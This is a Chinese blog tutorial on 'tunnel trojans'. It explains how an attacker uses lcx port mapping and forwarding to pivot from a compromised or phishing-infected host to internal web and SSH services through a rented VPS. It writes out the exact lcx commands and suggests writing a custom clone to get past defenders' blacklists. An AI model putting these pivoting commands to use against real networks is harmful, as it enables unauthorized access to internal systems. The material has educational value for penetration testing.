教你学木马攻防 | 隧道木马 | 第一课

前言

今天开始讲讲木马攻防,感觉这些内容大家应该会更感兴趣一些,就从隧道木马说起。为什么会有隧道木马这一说呢?这是根据通信协议进行分类的。讲隧道木马之前,先讲讲端口映射和转发。端口映射和端口转发其实是一回事,原理是一样的,由于应用场景不同,才产生了不同的含义。

 

场景1 端口映射

端口映射的使用,以下图为例,这是一个在渗透测试中,比较常见的场景。

 

 

  1. 一个hacker通过扫描暴露到公网中的主机A ,主机A开放了一些敏感端口,而且是弱口令,导致主机A被hacker完全控制。

  2. 接着hacker就想往公司内网中渗透,通过在主机A监控流量或者扫描的方式,发现了主机B,但是主机B只能由主机A进行访问,开放了80端口,而且没有公网ip。

  3. 如果hacker想直接访问主机B的 80端口,对上面的Web服务进行继续渗透,这就需要进行端口映射,让hacker可以远程连接到80端口。

 

从上图场景中看,端口映射是将内网主机B的80端口映射到了具有公网ip的主机A上,本质上是将一个本来无法访问的端口映射到可以访问的ip上了。

场景2 端口转发

端口转发又是另外一个场景,在渗透测试中,也很常见。如下图所示。

 

 

  1. hacker位于主机A,主机A可能是个人电脑,也可能是hacker控制的主机。

  2. hacker通过发送恶意邮件的方式给主机B,主机B的用户点开邮件,运行恶意木马导致主机B被感染,就成了我们俗称的“肉鸡”。虽然已经有木马运行在主机B中,但是由于主机B不在公网中,hacker无法访问到主机B。

  3. 主机B运行着ssh服务,开放着22端口,hacker如果想在主机A上直接连接主机B的22端口,执行shell命令,这就需要端口转发。

 

那么木马怎么实现端口转发,才能让hacker访问主机B的22端口呢? 这就需要一台主机C,一个公网的VPS,去阿里云或者腾讯云买。木马的服务端运行在主机C,同时监听两个端口 port1 与port2,木马的客户端运行在主机B,分别主动连接主机B的22端口和主机C的port2,而hacker只需要主动连接主机C的port1,这样就打通了到主机B 22端口的线路。如下图所示。

 

lcx是一款内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。这个工具很早就已经有了,现在已经有跨平台的了,支持在windows、linux下使用。还有一些根据lcx源码开发的其他版本,比如jsp版,http隧道版等等。代码如下:

 

https://github.com/windworst/LCX/

 

下面说一下它的使用以及功能说明:

 

Usage of Packet Transmit:

  ./lcx -<listen|tran|slave> <option> [<-log|-hex|-text> file]

  ./lcx -about

  

[options:]

  -listen <local port1>  <local port2>

  -tran   <local port>   <remote host>  <remote port>

  -slave  <remote host1> <remote port1> <remote host2> <remote port2>

  

  -hex   : hex mode data dump

  -text  : text mode data dump

  -log   : save transfer log

对于场景1,可以使用lcx的tran模式来实现。假设主机A 公网ip 10.10.10.1,主机B 内网ip为192.168.1.5,开放80端口。 在主机A上运行 :

 

./lcx -tran 8080 192.168.1.5 80

 

这个时候,hacker只要连接到主机A的8080端口,即可访问到主机B的80端口。

 

对于场景2,使用lcx的listen和slave模式来实现。假设主机C 公网ip 10.10.10.1,主机B 内网ip为192.168.1.5,开放22端口。 在主机C上监听8080和8081端口:

 

./lcx -listen 8080 8081

 

在主机B上连接22端口,并连接主机C的8081端口:

 

./lcx -slave 192.168.1.5 22  10.10.10.1 8081

 

这个时候,hacker只需要连接ip10.10.10.1的8080端口,即可直接连接到22端口,执行命令。

 取代lcx

 使用工具很简单,但是对这些工具的封锁也很简单。这些开源的网络安全工具早就处于防御端的黑名单里。因此自己写一个类似的工具也是一项必备的能力。 在github中就有这样类似的项目:

 

 https://github.com/cw1997/NATBypass

代码很简单,只是单个golang文件,仿照lcx是实现了listen,tran和slave功能。关键的代码很简单,对应了下图中三个红框圈住的三个函数。

 

最后

关注公众号:七夜安全博客

  • 回复【1】:领取 Python数据分析 教程大礼包
  • 回复【2】:领取 Python Flask 全套教程
  • 回复【3】:领取 某学院 机器学习 教程
  • 回复【4】:领取 爬虫 教程
  • 回复【5】:领取 编译原理 教程 
  • 回复【6】:领取 渗透测试 教程 
  • 回复【7】:领取 人工智能数学基础 教程